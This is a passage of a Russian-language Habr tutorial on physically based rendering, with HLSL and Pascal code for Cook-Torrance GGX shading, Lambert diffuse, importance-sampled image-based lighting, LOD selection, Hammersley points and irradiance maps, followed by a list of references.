float3 CookTorrance_GGX(float3 n, float3 l, float3 v, Material_pbr m) {
n = normalize(n);
v = normalize(v);
l = normalize(l);
float3 h = normalize(v+l);
//precompute dots
float NL = dot(n, l);
if (NL <= 0.0) return 0.0;
float NV = dot(n, v);
if (NV <= 0.0) return 0.0;
float NH = dot(n, h);
float HV = dot(h, v);
//precompute roughness square
float roug_sqr = m.roughness*m.roughness;
//calc coefficients
float G = GGX_PartialGeometry(NV, roug_sqr) * GGX_PartialGeometry(NL, roug_sqr);
float D = GGX_Distribution(NH, roug_sqr);
float3 F = FresnelSchlick(m.f0, HV);
//mix
float3 specK = G*D*F*0.25/NV;
return max(0.0, specK);
}
```
В самом начале мы фильтруем свет, не попавший на поверхность:
```
if (NL <= 0.0) return 0.0;
```
а так же участки, которые мы не видим:
```
if (NV <= 0.0) return 0.0;
```
подготавливаем различные скалярные произведения, и скармливаем их нашим функциями **GGX\_PartialGeometry()**, **GGX\_Distribution()**, **FresnelSchlick()**. Далее умножаем все согласно уже упомянутой формуле:
Обратите внимание, что я не поделил на NL:
```
float3 specK = G*D*F*0.25/NV;
```
потому, что потом мы все равно умножаем на **NL**, и **NL** сокращается. На выходе у меня вышла вот такая картина:
Слева направо шероховатость увеличивается от 0.05 до 1.0
Сверху вниз разные коэффециенты френеля **F0**:
1. (0.04, 0.04, 0.04)
2. (0.24, 0.24, 0.24)
3. (1.0, 0.86, 0.56)
### 2.7 Lambertian модель рассеянного света
Итак функция **FresnelSchlick** вернет нам количество отраженного света. Остальной свет будет равен **1.0-FresnelSchlick()**.
**Здесь я хочу сделать отступление.**
Вот эту единицу минус френель многие считают по разному. Например в UE4 FresnelSchlick считают от dot(V,H). Где-то берут два коэффициента (от dot(L,N) и dot(V,N)). Как по мне — логичнее брать от dot(L,N). Сейчас я могу сказать, что я не знаю точно, как правильнее, и как будет ближе к реальности. Когда я изучу этот вопрос, я дополню этот пробел в статье, а пока мы будем делать так, как в UE4, то есть dot(V,H).
Этот свет пройдет сквозь поверхность и будет хаотически блуждать внутри неё, пока не будет поглощен/переизлучен/покинет поверхность в другой точке. Поскольку мы пока не затрагиваем subsurface scattering, то грубо предположим, что этот свет будет поглощен, либо переизлучен по полусфере:
В первом приближении нас это устроит. Описывается данное рассеивание моделью освещения **Ламберта**. Описывается это простейшей формулой **LightColor\*dot(N,L)/PI**. То есть всем знакомый **dot(N,L)**, который описывает плотность светового потока, попадающего на поверхность, и деление на **PI** с которым мы уже встречались ранее в виде [интеграла полусфере](http://www.wolframalpha.com/input/?i=integrate+cos+x+*+sin+x+dx+dy+from+x+%3D+0+to+pi+%2F+2+y+%3D+0+to+pi+*+2). Количество поглощенного/переизлученного света описывает **float3** параметр, который называют **albedo**. Тут все очень похоже с **F0** параметром. Предмет переизлучает только определенные длины волн.
Поскольку больше по модели освещения Ламберт сказать нечего — то мы в наш **CookTorrance\_GGX** добавляем его (хотя возможно правильнее было вынести в отдельную функцию, но мне лень пока вытаскивать F параметр):
```
float3 specK = G*D*F*0.25/(NV+0.001);
float3 diffK = saturate(1.0-F);
return max(0.0, m.albedo*diffK*NL/PI + specK);
```
**А в целом функция стала вот такой**
```
float3 CookTorrance_GGX(float3 n, float3 l, float3 v, Material_pbr m) {
n = normalize(n);
v = normalize(v);
l = normalize(l);
float3 h = normalize(v+l);
//precompute dots
float NL = dot(n, l);
if (NL <= 0.0) return 0.0;
float NV = dot(n, v);
if (NV <= 0.0) return 0.0;
float NH = dot(n, h);
float HV = dot(h, v);
//precompute roughness square
float roug_sqr = m.roughness*m.roughness;
//calc coefficients
float G = GGX_PartialGeometry(NV, roug_sqr) * GGX_PartialGeometry(NL, roug_sqr);
float D = GGX_Distribution(NH, roug_sqr);
float3 F = FresnelSchlick(m.f0, HV);
//mix
float3 specK = G*D*F*0.25/(NV+0.001);
float3 diffK = saturate(1.0-F);
return max(0.0, m.albedo*diffK*NL/PI + specK);
}
```
Вот что у меня получилось после добавления диффузной составляющей:
Альбедо трех материалов (в линейном пространстве) сверху вниз:
1. (0.47, 0.78, 0.73)
2. (0.86, 0.176, 0)
3. (0.01, 0.01, 0.01)
Ну и вот я поставил второй источник света справа, и увеличил интенсивность источников в 3 раза:
Текущий пример можно скачать [вот тут](https://github.com/MrShoor/PBRSamples/tree/master/PBR) в репозитории. Так же напоминаю, что собранные версии примеров [вот тут](https://github.com/MrShoor/PBRSamples/releases/download/1.0/PBRSamples_1_0.zip).
3.0 Image based lighting
------------------------
Мы сейчас рассмотрели то, как точечный источник света вносит вклад в освещение каждого пикселя изображения. Конечно мы пренебрегли тем, что источник должен затухать от квадрата расстояния, а также тем, что источник не может быть точечным, и можно было бы все это учесть, но давайте посмотрим на еще один подход к освещению. Дело в том, что все предметы вокруг отражают/переизлучают свет, и этим самым освещают окружение. Вы подходите к зеркалу, и видите себя. Отраженный свет в зеркале был не так давно переизлучен/отражен вашим телом, и именно поэтому в видите в нем себя. Если мы хотим в гладких объектах получать красивые отражения, то нам нужно будет для каждого пикселя посчитать свет от полусферы, окружающей этот пиксель. В играх используют в этом случае такой фейк. Подготавливают большую текстуру с окружением (фактически 360° фото либо кубическая карта). Каждый пиксель такой фотографии — маленький эммитер. Дальше с помощью «некоторой магии» выбирают пиксели с таких текстур, и освещают рисующейся пиксель с помощью кода, который мы написали выше для точечных источников. Именно поэтому техника и называется Image based lighting (т.е. текстура окружения используется как источник света).
### 3.1 Monte-Carlo
Начнем с простого. Воспользуемся методом Монте-Карло, чтобы посчитать наше освещение. Для тех, кто боится и не понимает страшных слов «метод Монте-Карло» попробую объяснить на пальцах. На освещение каждой точки у нас влияют все точки из карты. Половину из них мы можем отсеять. Это те, которые находятся с противоположной стороны поверхности, так как они дадут нулевой вклад в освещение. У нас остается полусфера. Теперь мы можем пускать случайные равномерно распределенные лучи по этой полусфере, и складывать освещение в кучу, а потом поделить на количество пущенных лучей и умножить на 2π. На 2π — это площадь полусферы с радиусом 1. Математики же скажут, что мы проинтегрировали освещение по полусфере методом Монте-Карло.
Как это будет работать на практике? Складывать в кучу мы будем с помощью рендера во floating point текстуру через аддитивный блендинг. В альфаканал этой текстуры мы будем записывать количество наших лучей, а в rgb собственно освещение. Это позволит нам разделить потом color.rgb на color.a и получить финальное изображение.
Однако аддитивный блендинг означает, что объекты, перекрываемые другими объектами у нас начнут просвечивать сквозь другие, так как будут рисоваться. Чтобы избежать этой проблемы мы воспользуемся **depth prepass** техникой. Суть техники в том, что мы сначала рисуем объекты **только в буфер глубины**, а потом **переключаем тест глубины в equal** и рисуем объекты теперь уже **в буфер цвета**.
Итак, далее я генерирую кучу лучей, равномерно распределенных по сфере:
```
function RandomRay(): TVec3;
var theta, cosphi, sinphi: Single;
begin
theta := 2 * Pi * Random;
cosphi := 1 - 2 * Random;
sinphi := sqrt(1 - min(1.0, sqr(cosphi)));
Result.x := sinphi * cos(theta);
Result.y := sinphi * sin(theta);
Result.z := cosphi;
end;
SetLength(Result, ACount);
for i := 0 to ACount - 1 do
Result[i] := Vec(RandomRay(), 1.0);
```
и отправляю это добро как константу вот в этот шейдер:
```
float3 m_albedo;
float3 m_f0;
float m_roughness;
static const float LightInt = 1.0;
#define SamplesCount 1024
#define MaxSamplesCount 1024
float4 uLightDirections[MaxSamplesCount];
TextureCube uEnviroment; SamplerState uEnviromentSampler;
PS_Output PS(VS_Output In) {
PS_Output Out;
Material_pbr m;
m.albedo = m_albedo;
m.f0 = m_f0;
m.roughness = m_roughness;
float3 MacroNormal = normalize(In.vNorm);
float3 ViewDir = normalize(-In.vCoord);
Out.Color.rgb = 0.0;
[fastopt]
for (uint i=0; i
```
Запускаем, и видим как наша картинка для тех же шариков постепенно сходится. Я использовал две кубические карты для рендера. Вот для этого:
я взял кубическую карту, которая шла вместе с RenderMonkey. Называется она Snow.dds. Это **LDR** текстура, и она скууучная. Шарики скорее кажутся грязными, чем красиво освещенными.
А для вот этого:
я взял **HDR Probe** вот отсюда: [www.pauldebevec.com/Probes](http://www.pauldebevec.com/Probes/) которая называется Grace Cathedral, San Francisco. У неё динамический диапазон аж 200,000:1. Видите какая разница? Поэтому когда будете делать у себя такое освещение — берите сразу **HDR** текстуру.
Кстати, давайте посмотрим, что закон сохранения энергии выполняется. Для этого я альбедо в шейдере форсированно задаю в 1.0:
m.albedo = 1.0;
свет задаю в 1.0:
LightColor = 1.0;
В идеале каждый пиксель шарика теперь должен стать равен единице. Поэтому все, что выходит за пределы единицы мы пометим красным. У меня вышло вот так:
Фактически то красное, что сейчас есть — это погрешности. Оно начинает сходится, но в какой то момент точности флоата не хватает, и сходимость исчезает. Обратите внимание на то, что правый нижний шарик «посинел». Это из-за того, что модель Ламберта не учитывает шероховатости поверхности, а модель Кука-Торенса учитывает их не полностью. Фактически мы потеряли желтый цвет, который идет в **F0**. Давайте попробуем **F0** всем шарам выставить в 1.0 и посмотрим:
Правые шары стали значительно темнее из-за большого roughness. Фактически это ретрорефлекшн, который мы потеряли. Кук-Торренс просто теряет эту энергию. Частично восстановить эту энергию может модель Орен-Наяра. Но мы пока отложим это. Придется смирится с тем, что для сильно шероховатых моделей мы потеряем до 70% энергии ретроотражений.
Исходный код находится [тут](https://github.com/MrShoor/PBRSamples/tree/master/PBR_env). Собранные бинарники я уже упоминал ранее, они [находятся тут](https://github.com/MrShoor/PBRSamples/releases/download/1.0/PBRSamples_1_0.zip).
### 3.2 Importance sampling
Конечно же геймер не будет ждать, когда свет на вашей картинке сойдется. Нужно что-то делать, чтобы не считать тысячи и тысячи лучей для каждого пикселя. И фокус тут вот в чем. Для монтекарло мы считали равномерное распределение по полусфере. Вот так мы делали выборки:
но реальный вклад дает именно часть, обведенная розовым. Если бы мы могли выбирать лучи, преимущественно из красной зоны, мы бы гораздо раньше получили приемлемую картинку. Итак нам хочется вот такого:
К счастью для этого есть математический метод, который называется Importance Sampling (или выборка по значимости). Значимость в нашем выражении вносит параметр **D**. По нему мы можем построить **CDF** (функцию распределения), из некоторой **PDF** функции (функция плотности вероятности). За **PDF** мы берем распределение микронормали к нашей нормали, сумма по полусфере будет давать единицу, значит мы можем записать такой интеграл:
Здесь подынтегральное выражение — **PDF**
Взяв интеграл по сферическим углам мы получим вот такую **CDF**:
Для тех, кто хочет step by step пройти этот этап — можете заглянуть вот [сюда](http://blog.tobias-franke.eu/2014/03/30/notes_on_importance_sampling.html).
Для тех, кто не хочет/не может углубляться скажу. У нас есть **CDF**, в которую мы подставляем равномерно распределенные ***ξ***, на выходе мы получаем распределение, которое отражает нашу **PDF**. Что это значит для нас?
1. То, что это изменит нашу функцию **Кука-Торренса**. Её надо будет разделить на **PDF** функцию.
2. **PDF** функция отражает распределение микронормали относительно макронормали. Раньше для Монте-Карло мы брали случайный вектор, и принимали его как вектор на источник света. Сейчас с помощью **CDF** мы выбираем случайный вектор **H**. Далее отражаем вектор взгляда относительно этого случайного **H** и получаем вектор света.
3. **PDF** нашу надо перевести в пространство вида (т.к. она отражает распределение вдоль вектора **N**). Для перевода нам нужно нашу **PDF** разделить на **4\*dot(H,V)** Кому интересно вникнуть глубже — идем [сюда](https://www.cs.cornell.edu/~srm/publications/EGSR07-btdf.pdf) и там есть объяснения в параграфе 4.1 и дальше с рисунками на кружочках.
Кажется, что ничего непонятно, да? Давайте попробуем переварить все это в коде.
Для начала напишем функцию, генерирующую вектор **H** из нашей **CDF**. В HLSL это будет вот так:
```
float3 GGX_Sample(float2 E, float alpha) {
float Phi = 2.0*PI*E.x;
float cosThetha = saturate(sqrt( (1.0 - E.y) / (1.0 + alpha*alpha * E.y - E.y) ));
float sinThetha = sqrt( 1.0 - cosThetha*cosThetha);
return float3(sinThetha*cos(Phi), sinThetha*sin(Phi), cosThetha);
}
```
Сюда в **E** мы подаем равномерное распределение [0;1) для обоих сферических углов, в **alpha** у нас квадрат от **roughness** материала.
На выходе получаем **H** вектор на полусфере. Но эту полусферу нужно ориентировать по поверхности. Для этого пишем еще одну функцию, которая будет возвращать нам матрицу ориентации на поверхности:
```
float3x3 GetSampleTransform(float3 Normal) {
float3x3 w;
float3 up = abs(Normal.y) < 0.999 ? float3(0,1,0) : float3(1,0,0);
w[0] = normalize ( cross( up, Normal ) );
w[1] = cross( Normal, w[0] );
w[2] = Normal;
return w;
}
```
На эту матрицу мы будем умножать все наши сгенерированные вектора **H**, переводя их касательного пространство в пространство вида. Принцип очень похож на TBN базис.
Теперь осталось поделить нашего Кука-Торренса: **G\*D\*F\*0.25/(NV)** на **PDF**. Наша **PDF = D\*NH/(4\*HV)**. Поэтому наш измененный Кук-Торренс получается:
**G\*F\*HV/(NV\*NH)**
В HLSL теперь это выглядит вот так:
```
float3 CookTorrance_GGX_sample(float3 n, float3 l, float3 v, Material_pbr m, out float3 FK) {
pdf = 0.0;
FK = 0.0;
n = normalize(n);
v = normalize(v);
l = normalize(l);
float3 h = normalize(v+l);
//precompute dots
float NL = dot(n, l);
if (NL <= 0.0) return 0.0;
float NV = dot(n, v);
if (NV <= 0.0) return 0.0;
float NH = dot(n, h);
float HV = dot(h, v);
//precompute roughness square
float roug_sqr = m.roughness*m.roughness;
//calc coefficients
float G = GGX_PartialGeometry(NV, roug_sqr) * GGX_PartialGeometry(NL, roug_sqr);
float3 F = FresnelSchlick(m.f0, HV);
FK = F;
float3 specK = G*F*HV/(NV*NH);
return max(0.0, specK);
}
```
Обратите внимание, что я выкинул из этой функции диффузную часть от Ламбертовского освещения, и возвращаю наружу **FK** параметр. Дело в том, что мы не можем диффузную составляющую считать через **Importance Sampling**, т.к. наша **PDF** — она для граней, отражающих свет нам в глаз. А распределение Ламберта не зависит от этого. Что же делать? Хм… а давайте пока диффузную часть оставим черной, и сосредоточимся на спекуляре.
```
PS_Output PS(VS_Output In) {
PS_Output Out;
Material_pbr m;
m.albedo = m_albedo;
m.f0 = m_f0;
m.roughness = m_roughness;
float3 MacroNormal = normalize(In.vNorm);
float3 ViewDir = normalize(-In.vCoord);
float3x3 HTransform = GetSampleTransform(MacroNormal);
Out.Color.rgb = 0.0;
float3 specColor = 0.0;
float3 FK_summ = 0.0;
for (uint i=0; i<(uint)uSamplesCount; i++){
float3 H = GGX_Sample(uHammersleyPts[i].xy, m.roughness*m.roughness); //генерим H вектор
H = mul(H, HTransform); //переводим из пространства модели в пространство вида
float3 LightDir = reflect(-ViewDir, H); //отражаем вектор взгляда чтобы получить вектор света
float3 specK;
float3 FK;
specK = CookTorrance_GGX_sample(MacroNormal, LightDir, ViewDir, m, FK); //считаем количество спекуляра
FK_summ += FK;
float3 LightColor = uRadiance.SampleLevel(uRadianceSampler, mul(LightDir.xyz, (float3x3)V_InverseMatrix), 0).rgb*LightInt;//и множим его на пиксель из карты света
specColor += specK * LightColor; //добавляем в сумму
}
specColor /= uSamplesCount;
FK_summ /= uSamplesCount;
Out.Color.rgb = specColor;
Out.Color.a = 1.0;
return Out;
}
```
Зададим 1024 семпла (без аккумулирования как в монте-карло) и посмотрим на результат:
Хоть семплов и много, а вышло шумновато. Особенно на большом roughness.
### 3.3 Выбор LOD-ов
Это потому, что мы семплы берем с высокодетализированной карты, с нулевого **LOD**. А хорошо бы для лучей, имеющих большое отклонение брать лод поменьше. Ситуацию хорошо иллюстрирует вот эта картинка:
Из [этой](https://developer.nvidia.com/gpugems/GPUGems3/gpugems3_ch20.html) статьи от NVidia. Синие области показывают усреденное значение, которое неплохо бы взять из **LOD**-ов текстуры. Видно что для более значимых мы берем **LOD** поменьше, а для менее значимых побольше, т.е. берем усредненное по области значение. Идеально было бы, если бы мы лодами покрыли целиком полусферу. К счастью NVidia уже дала нам готовую (и простую по их словам) формулу:
Эта формула состоит из разности:
Левая часть у нас зависит от размеров текстуры и количества семплов. А это значит что для всех семплов мы её можем посчитать один раз. В правой части у нас функция **p**, которая ничто иное как наша **pdf**, и функция **d**, которую они называют **distortion**, но по сути там зависимость от угла семпла к наблюдателю. Для **d** у них выходит вот такая формула:
**Заголовок спойлера**
(Внимание, данная формула справедлива для Dual-Paraboloid карт. У нас используется кубическая карта, и я полагаю, что коэффициент b для нашего случая может быть другой, но я это еще не проверял. В моем случае коэффициент предложенный в статье **b=1.2** сработал достаточно неплохо)
Ну и еще NVidia рекомендуют делать **bias** для лодов, добавлять единичку. Давайте посмотрим как это выглядит в hlsl коде. Вот наша левая часть уравнения:
```
float ComputeLOD_AParam(){
float w, h;
uRadiance.GetDimensions(w, h);
return 0.5*log2(w*h/uSamplesCount);
}
```
Вот мы считаем правую часть, и сразу вычитаем её из левой:
```
float ComputeLOD(float AParam, float pdf, float3 l) {
float du = 2.0*1.2*(abs(l.z)+1.0);
return max(0.0, AParam-0.5*log2(pdf*du*du)+1.0);
}
```
Теперь мы видим, что нам в **ComputeLOD** нужно передать **pdf** и **l** значения. **l** — это вектор семпла света, а **pdf**, если мы посмотрим выше то это у нас: **pdf = D\*dot(N,H)/(4\*dot(H,V))**.
Поэтому давайте в нашу функцию **CookTorrance\_GGX\_sample** добавим возвращающийся параметр **pdf**:
```
float3 CookTorrance_GGX_sample(float3 n, float3 l, float3 v, Material_pbr m, out float3 FK, out float pdf) {
pdf = 0.0;
FK = 0.0;
n = normalize(n);
v = normalize(v);
l = normalize(l);
float3 h = normalize(v+l);
//precompute dots
float NL = dot(n, l);
if (NL <= 0.0) return 0.0;
float NV = dot(n, v);
if (NV <= 0.0) return 0.0;
float NH = dot(n, h);
float HV = dot(h, v);
//precompute roughness square
float roug_sqr = m.roughness*m.roughness;
//calc coefficients
float G = GGX_PartialGeometry(NV, roug_sqr) * GGX_PartialGeometry(NL, roug_sqr);
float3 F = FresnelSchlick(m.f0, HV);
FK = F;
float D = GGX_Distribution(NH, roug_sqr); //вот тут собственно мы добавили вычисление D
pdf = D*NH/(4.0*HV); //и вычисление самой pdf
float3 specK = G*F*HV/(NV*NH);
return max(0.0, specK);
}
```
А сам цикл по семплам теперь у нас вычисляет **LOD**:
```
float LOD_Aparam = ComputeLOD_AParam();
for (uint i=0; i<(uint)uSamplesCount; i++){
float3 H = GGX_Sample(uHammersleyPts[i].xy, m.roughness*m.roughness);
H = mul(H, HTransform);
float3 LightDir = reflect(-ViewDir, H);
float3 specK;
float pdf;
float3 FK;
specK = CookTorrance_GGX_sample(MacroNormal, LightDir, ViewDir, m, FK, pdf);
FK_summ += FK;
float LOD = ComputeLOD(LOD_Aparam, pdf, LightDir);
float3 LightColor = uRadiance.SampleLevel(uRadianceSampler, mul(LightDir.xyz, (float3x3)V_InverseMatrix), LOD).rgb*LightInt;
specColor += specK * LightColor;
}
```
Давайте же глянем, что у нас получилось для 1024 семплов с лодами:
Выглядит идеально. Понижаем до 16, и…
Да, конечно уже не совсем идеально. Видно что качество пострадало на шариках с большим roughness, но тем не менее я считаю это качество в принципе приемлемым. Дополнительно повысить качество можно было бы, если бы мы **mip**-ы для текстур построили на основе нашего распределения. Об этом можно прочесть в презентации от Epic вот [тут](https://de45xmedrsdbp.cloudfront.net/Resources/files/2013SiggraphPresentationsNotes-26915738.pdf) (см. параграф Pre-Filtered Environment Map). А пока в рамках этой статьи я предлагаю остановиться на классических пирамидальных мипах.
### 3.4 Hammersley point set
Если посмотреть на наши случайный лучи, то понятен недостаток. Они случайны. А мы уже научились читать из lod-ов и хотим нашими лучами захватить как можно большую площадь. Для этого нам нужно «распылить» наши лучи, но с учетом importance sampling-а. Т.к. **CDF** у нас принимает равномерное распределение, то нам достаточно равномерно расположить точки на промежутке [0;1)… но у нас равномерное распределение должно быть двумерным. Поэтому надо не только равномерно расположить точки на промежутке, но еще и сделать так, чтобы расстояние в декартовых координатах между точками было как можно больше. На эту роль хорошо подходят **Hammersley point set**. Чуть больше про это множество точек можно почитать вот [тут](http://holger.dammertz.org/stuff/notes_HammersleyOnHemisphere.html).
Я лишь покажу картинку распределения:
А так же приведу функцию, генерирующую отдельную из точек:
```
function HammersleyPoint(const I, N: Integer): TVec2;
function radicalInverse_VdC(bits: Cardinal): Single;
begin
bits := (bits shl 16) or (bits shr 16);
bits := ((bits and $55555555) shl 1) or ((bits and $AAAAAAAA) shr 1);
bits := ((bits and $33333333) shl 2) or ((bits and $CCCCCCCC) shr 2);
bits := ((bits and $0F0F0F0F) shl 4) or ((bits and $F0F0F0F0) shr 4);
bits := ((bits and $00FF00FF) shl 8) or ((bits and $FF00FF00) shr 8);
Result := bits * 2.3283064365386963e-10;
end;
begin
Result.x := I/N;
Result.y := radicalInverse_VdC(I);
end;
```
Как наши шары будут выглядеть с этим набором точек? На самом деле я схалтурил, и все вышеописанные картинки для **Importance Sampling**-а сгенерированы именно с набором этих точек. На случайных наборах картинки выглядят чуть хуже (поверите на слово?)
### 3.5 Irradiance map
Помните как мы остались без диффузного цвета? Мы не можем семплить диффузный цвет с помощью **importance sampling**, потому что наш **importance sampling** выбирает наиболее ценные лучи для спекуляра. Для диффуза же наиболее ценные находятся прямо напротив, по макронормали поверхности. К счастью диффузная составляющая для Ламберта у нас совершенно не зависит от наблюдателя. Поэтому мы можем предрасчитать освещение в кубической карте. А еще один бонус — изменение угла настолько незначительно влияет на освещение, что предрасчитанная карта может быть очень низкого разрешения, например 16\*16 пикселей на сторону.
На этот раз нам повезло. Мы не будем писать код, который занимается построением **Irradiance map**, а воспользуемся программой [CubeMapGen](https://seblagarde.wordpress.com/2012/06/10/amd-cubemapgen-for-physically-based-rendering/). Просто открываем нашу кубмапу (Load Cubemap (.dds) ), выставляем галку Irradiance cubemap, выбираем Output Cube Size 16:
и сохраняем получившуюся кубическую карту (для HDR текстур не забываем выставить нужный формат аутпут текстуры).
Ну и поскольку мы разобрались с **Irradiance map**, то просто после семплинга добавляем одну выборку из этой карты. Наш HLSL код теперь выглядит так:
```
Out.Color.rgb = 0.0;
float3 specColor = 0.0;
float3 FK_summ = 0.0;
for (uint i=0; i<(uint)uSamplesCount; i++){
float3 H = GGX_Sample(uHammersleyPts[i].xy, m.roughness*m.roughness);
H = mul(H, HTransform);
float3 LightDir = reflect(-ViewDir, H);
float3 specK;
float pdf;
float3 FK;
specK = CookTorrance_GGX_sample(MacroNormal, LightDir, ViewDir, m, FK, pdf);
FK_summ += FK;
float LOD = ComputeLOD(LOD_Aparam, pdf, LightDir);
float3 LightColor = uRadiance.SampleLevel(uRadianceSampler, mul(LightDir.xyz, (float3x3)V_InverseMatrix), LOD).rgb*LightInt;
specColor += specK * LightColor;
}
specColor /= uSamplesCount;
FK_summ /= uSamplesCount;
float3 LightColor = uIrradiance.Sample(uIrradianceSampler, mul(MacroNormal, (float3x3)V_InverseMatrix)).rgb;
Out.Color.rgb = m.albedo*saturate(1.0-FK_summ)*LightColor + specColor;
```
А на выходе имеем вот такую картинку для 16 семплов:
**И такую для 1024**
Обратите внимание, что диффузный свет мы уже не умножаем на **dot(N,L)**, что как бы логично. Ведь это освещение мы предрасчитали и запекли в кубмапу, и в нашем случае **N** и **L** это вообще один и тот же вектор.
Давайте глянем, что у нас там с сохранением энергии? Как обычно выставляем свет из кубических карт равным единице, альбедо материала выставляем равным единице, и подсвечиваем красным области >1. Получаем примерно это для 1024 семплов:
И вот это для 16:
Как видим есть явные «выбросы» лишней энергии, но они небольшие. Связано это с тем, что мы не точно рассчитываем количество света от диффузной энергии. Ведь мы считаем коэффициенты Френеля только для определенных семплов спекуляра, а используем их для всех семлов, которые предрасчитаны в **irradiance map**. Увы, я не знаю что с этим делать, интернет ничего мне не смог подсказать. Поэтому предлагаю пока смириться с этим, все таки выбросы лишней энергии не значительны.
4 Еще чуть-чуть про материалы.
------------------------------
Пока мы возились с шариками — вы должно быть заметили, что у нас есть два float3 параметра цвета. Это **albedo** и **f0**. Они оба имеют некоторый физический смысл, но в играх как правило материалы разделяют на металлы и неметаллы. Дело в том, что неметаллы отражают свет всегда в grayscale диапазонах, но при этом переизлучают цвентной свет. Металлы же наоборот, отражают цветной свет, но при этом поглощают весь остальной.
То есть для металлов у нас:
albedo = {0, 0, 0}
f0 = {R, G, B}
для диэлектриков у нас:
albedo = {R, G, B}
f0 = {X, X, X}
и… мы видим, что мы можем ввести некоторый коэффициент [0,1], которым мы будем показывать насколько у нас поверхность металлическая, и считать материал просто через линейную интерполяцию. Это собственно многие художники и делают. Я скачал [вот эту](https://sketchfab.com/models/0affb3436519401db2bad31cfced95c1) 3д модель.
Вот например текстуры меча.
Текстура цвета:
Текстура шероховатости:
И наконец текстура металличности (та самая, о которой выше я рассказал):
Чуть больше о материалах вы можете прочитать в интернете. Например [тут](https://habrahabr.ru/company/mailru/blog/248873/).
Разные движки и студии могут паковать параметры по разному, но как правило все крутится вокруг: цвета, шероховатости, металличности.
Ну и наконец, как это выглядит на модели целиком:
слева — все тот же собор, который мы тестировали на шариках. Справа наш Арториас выбрался на природу (карта окружения отсюда [www.pauldebevec.com/Probes](http://www.pauldebevec.com/Probes/) называется Campus)
Для рендера данных изображений я использовал дополнительно Reinhard тонмаппинг, но это тема уже для отдельной статьи.
Исходный код с моделью Арториаса — это демка в моем фреймворке, и находится [вот тут](https://github.com/MrShoor/AvalancheProject/tree/master/Demos/Src/avm_Import). Так же я собрал для вас версию, и выложил [тут](https://1drv.ms/u/s!AiM3XDRgDCMggT9ubyUpN4RkmIo8).
5 Заключение
------------
Статья вышла гораздо больше, чем я предполагал. Я хотел рассказать еще про:
1. Анизотропные модели освещения
2. Подповерхностное рассеивание
3. Продвинутые диффузные модели освещения, типа Орен-Наяра
4. Захватить сферические гармоники
5. Захватить тонмаппинг
Но верите или нет, я выдохся пока писал эту статью… А тут каждый пункт — это жирный пласт. Поэтому есть, что есть. Может быть когда-нибудь я расскажу про все это.
Надеюсь что моя статья приоткроет кому-нибудь завесу тайны, скрытой за этими буквами PBR. И спасибо за внимание.
**Полезные материалы по PBR и около того**
[1] [blog.tobias-franke.eu/2014/03/30/notes\_on\_importance\_sampling.html](http://blog.tobias-franke.eu/2014/03/30/notes_on_importance_sampling.html)
откуда взялись PDF и CDF, и как их посчитать самому.
[2] [hal.inria.fr/hal-00942452v1/document](https://hal.inria.fr/hal-00942452v1/document)
хороший математический материал по PBR (+ анизотропные распределения)
[3] [disney-animation.s3.amazonaws.com/library/s2012\_pbs\_disney\_brdf\_notes\_v2.pdf](https://disney-animation.s3.amazonaws.com/library/s2012_pbs_disney_brdf_notes_v2.pdf)
хороший материал от Disney, что как можно запаковать и предрасчитать. Сравнение погрешностей, а так же пример нескольких диффузных моделей освещения
[4] [blog.selfshadow.com/publications/s2015-shading-course/#course\_content](http://blog.selfshadow.com/publications/s2015-shading-course/#course_content)
И еще более свежий материал от Disney
[5] [www.cs.cornell.edu/~srm/publications/EGSR07-btdf.pdf](https://www.cs.cornell.edu/~srm/publications/EGSR07-btdf.pdf)
Подробно о GGX, от Bruce Walter-а и других умных ребят
[6] [de45xmedrsdbp.cloudfront.net/Resources/files/2013SiggraphPresentationsNotes-26915738.pdf](https://de45xmedrsdbp.cloudfront.net/Resources/files/2013SiggraphPresentationsNotes-26915738.pdf)
Про PBR в Unreal Engine 4
[7] [holger.dammertz.org/stuff/notes\_HammersleyOnHemisphere.html](http://holger.dammertz.org/stuff/notes_HammersleyOnHemisphere.html)
Классная инструкция по Hammersley Point Set
[8] [www.jordanstevenstechart.com/physically-based-rendering](http://www.jordanstevenstechart.com/physically-based-rendering)
Различные функции распределения. С картиночками.
[9] [graphicrants.blogspot.nl/2013/08/specular-brdf-reference.html](http://graphicrants.blogspot.nl/2013/08/specular-brdf-reference.html)
еще функции распределения
[10] [developer.nvidia.com/gpugems/GPUGems3/gpugems3\_ch20.html](https://developer.nvidia.com/gpugems/GPUGems3/gpugems3_ch20.html)
Очень полезный материал от NVidia про Importance Sampling и оптимизацию LOD-ами.
[11] [cgg.mff.cuni.cz/~jaroslav/papers/2008-egsr-fis/2008-egsr-fis-final-embedded.pdf](http://cgg.mff.cuni.cz/~jaroslav/papers/2008-egsr-fis/2008-egsr-fis-final-embedded.pdf)
Еще один неплохой пейпер про Importance Sampling
[12] [gdcvault.com/play/1024478/PBR-Diffuse-Lighting-for-GGX](http://gdcvault.com/play/1024478/PBR-Diffuse-Lighting-for-GGX)
Просто очень качественные слайды по PBR.
[13] [www.codinglabs.net/article\_physically\_based\_rendering.aspx](http://www.codinglabs.net/article_physically_based_rendering.aspx)
[14] [www.codinglabs.net/article\_physically\_based\_rendering\_cook\_torrance.aspx](http://www.codinglabs.net/article_physically_based_rendering_cook_torrance.aspx)
Две очень хорошие для понимания основ статьи (но содержат кое-какие ошибки и неточности)
[15] [www.rorydriscoll.com/2009/01/25/energy-conservation-in-games](http://www.rorydriscoll.com/2009/01/25/energy-conservation-in-games/)
Про сохранение энергии
[16] [www.gamedev.net/topic/625981-lambert-and-the-division-by-pi](https://www.gamedev.net/topic/625981-lambert-and-the-division-by-pi/)
[www.wolframalpha.com/input/?i=integrate+cos+x+](http://www.wolframalpha.com/input/?i=integrate+cos+x+)\*+sin+x+dx+dy+from+x+%3D+0+to+pi+%2F+2+y+%3D+0+to+pi+\*+2
откуда Пи в знаменателе
[17]https://seblagarde.files.wordpress.com/2015/07/course\_notes\_moving\_frostbite\_to\_pbr\_v32.pdf
[18] [www.pauldebevec.com/Probes](http://www.pauldebevec.com/Probes/)
Набор HDR 360 проб. Прямо с формулами как читать из этих проб.
[19] [seblagarde.wordpress.com/2012/06/10/amd-cubemapgen-for-physically-based-rendering](https://seblagarde.wordpress.com/2012/06/10/amd-cubemapgen-for-physically-based-rendering/)
[code.google.com/archive/p/cubemapgen/downloads](https://code.google.com/archive/p/cubemapgen/downloads)
КубМапГен. Тулза для обработки radiance и irradiance кубических карт.
[20] [eheitzresearch.wordpress.com/415-2](https://eheitzresearch.wordpress.com/415-2/)
Про полигональные источники света. С демкой. | https://habr.com/ru/post/326852/ | null | ru | null |
